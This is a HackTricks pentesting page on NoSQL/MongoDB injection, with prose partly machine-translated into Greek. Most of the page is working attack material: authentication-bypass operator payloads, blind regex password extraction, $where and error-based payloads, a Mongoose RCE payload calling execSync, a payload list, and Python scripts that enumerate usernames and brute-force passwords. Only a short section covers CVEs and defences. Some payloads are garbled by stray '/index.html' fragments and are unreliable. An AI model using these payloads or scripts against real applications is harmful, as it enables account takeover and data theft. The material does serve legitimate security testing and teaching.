NoSQL injection
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εκμετάλλευση
In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Βασική παράκαμψη αυθεντικοποίησης
Χρησιμοποιώντας το not equal ($ne) ή το greater ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως admin' || 'a'=='a
, κάνοντάς την ερώτηση να επιστρέψει όλα τα έγγραφα ικανοποιώντας την προϋπόθεση με μια ταυτολογία ('a'=='a'
). Αυτό είναι ανάλογο με τις επιθέσεις SQL injection όπου χρησιμοποιούνται είσοδοι όπως ' or 1=1-- -
για να χειραγωγήσουν τις SQL ερωτήσεις. Στο MongoDB, παρόμοιες εισβολές μπορούν να γίνουν χρησιμοποιώντας εισόδους όπως ' || 1==1//
, ' || 1==1%00
, ή admin' || 'a'=='a
.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Εξαγωγή πληροφοριών μήκους
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Εξαγωγή πληροφοριών δεδομένων
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Χρησιμοποιώντας τον $func τελεστή της βιβλιοθήκης MongoLite (που χρησιμοποιείται από προεπιλογή) μπορεί να είναι δυνατή η εκτέλεση μιας αυθαίρετης συνάρτησης όπως σε αυτή την αναφορά.
"user":{"$func": "var_dump"}
Λάβετε πληροφορίες από διαφορετική συλλογή
Είναι δυνατόν να χρησιμοποιήσετε $lookup για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια διαφορετική συλλογή που ονομάζεται users
και λαμβάνουμε τα αποτελέσματα όλων των καταχωρίσεων με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.
ΣΗΜΕΙΩΣΗ: $lookup
και άλλες συναρτήσεις συγχώνευσης είναι διαθέσιμες μόνο αν χρησιμοποιήθηκε η συνάρτηση aggregate()
για να εκτελέσει την αναζήτηση αντί των πιο κοινών συναρτήσεων find()
ή findOne()
.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
Εισάγετε throw new Error(JSON.stringify(this))
σε μια ρήτρα $where
για να εξάγετε πλήρη έγγραφα μέσω σφαλμάτων JavaScript στον διακομιστή (απαιτεί την εφαρμογή να διαρρεύσει σφάλματα βάσης δεδομένων). Παράδειγμα:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Πρόσφατα CVEs & Πραγματικές Εκμεταλλεύσεις (2023-2025)
Rocket.Chat μη αυθεντικοποιημένο blind NoSQLi – CVE-2023-28359
Οι εκδόσεις ≤ 6.0.0 αποκάλυψαν τη μέθοδο Meteor listEmojiCustom
που προωθούσε ένα αντικείμενο selector ελεγχόμενο από τον χρήστη απευθείας στο find()
. Με την εισαγωγή τελεστών όπως {"$where":"sleep(2000)||true"}
ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να δημιουργήσει ένα timing oracle και να εξάγει έγγραφα. Το σφάλμα διορθώθηκε στην έκδοση 6.0.1 με την επικύρωση του σχήματος του selector και την αφαίρεση επικίνδυνων τελεστών.
Mongoose populate().match
$where
RCE – CVE-2024-53900 & CVE-2025-23061
Όταν χρησιμοποιείται το populate()
με την επιλογή match
, το Mongoose (≤ 8.8.2) αντέγραφε το αντικείμενο αυτολεξεί πριν το στείλει στο MongoDB. Η παροχή του $where
εκτελούσε επομένως JavaScript μέσα στο Node.js ακόμη και αν η JavaScript στον server ήταν απενεργοποιημένη στο MongoDB:
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
Η πρώτη επιδιόρθωση (8.8.3) μπλόκαρε το κορυφαίο επίπεδο $where
, αλλά η εμφάνιση του κάτω από το $or
παρακάμπτει το φίλτρο, οδηγώντας στο CVE-2025-23061. Το ζήτημα διορθώθηκε πλήρως στην έκδοση 8.9.5, και μια νέα επιλογή σύνδεσης sanitizeFilter: true
εισήχθη.
GraphQL → Mongo filter confusion
Resolvers που προωθούν το args.filter
απευθείας στο collection.find()
παραμένουν ευάλωτοι:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Mitigations: αναδρομικά αφαιρέστε τα κλειδιά που ξεκινούν με $
, χαρτογραφήστε τους επιτρεπόμενους τελεστές ρητά ή επικυρώστε με βιβλιοθήκες σχήματος (Joi, Zod).
Defensive Cheat-Sheet (updated 2025)
- Αφαιρέστε ή απορρίψτε οποιοδήποτε κλειδί που ξεκινά με
$
(express-mongo-sanitize
,mongo-sanitize
, MongoosesanitizeFilter:true
). - Απενεργοποιήστε το JavaScript πλευράς διακομιστή σε αυτο-φιλοξενούμενο MongoDB (
--noscripting
, προεπιλογή στην v7.0+). - Προτιμήστε το
$expr
και τους κατασκευαστές συγκέντρωσης αντί για το$where
. - Επικυρώστε τους τύπους δεδομένων νωρίς (Joi/Ajv) και απαγορεύστε τους πίνακες όπου αναμένονται κλίμακες για να αποφύγετε τα κόλπα
[$ne]
. - Για το GraphQL, μεταφράστε τα επιχειρήματα φίλτρου μέσω μιας λίστας επιτρεπόμενων στοιχείων; ποτέ μην διαδώσετε μη αξιόπιστα αντικείμενα.
MongoDB Payloads
List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQL Script
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames and passwords from POST login
Αυτό είναι ένα απλό σενάριο που θα μπορούσατε να τροποποιήσετε, αλλά τα προηγούμενα εργαλεία μπορούν επίσης να εκτελέσουν αυτή την εργασία.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Εργαλεία
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
Αναφορές
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.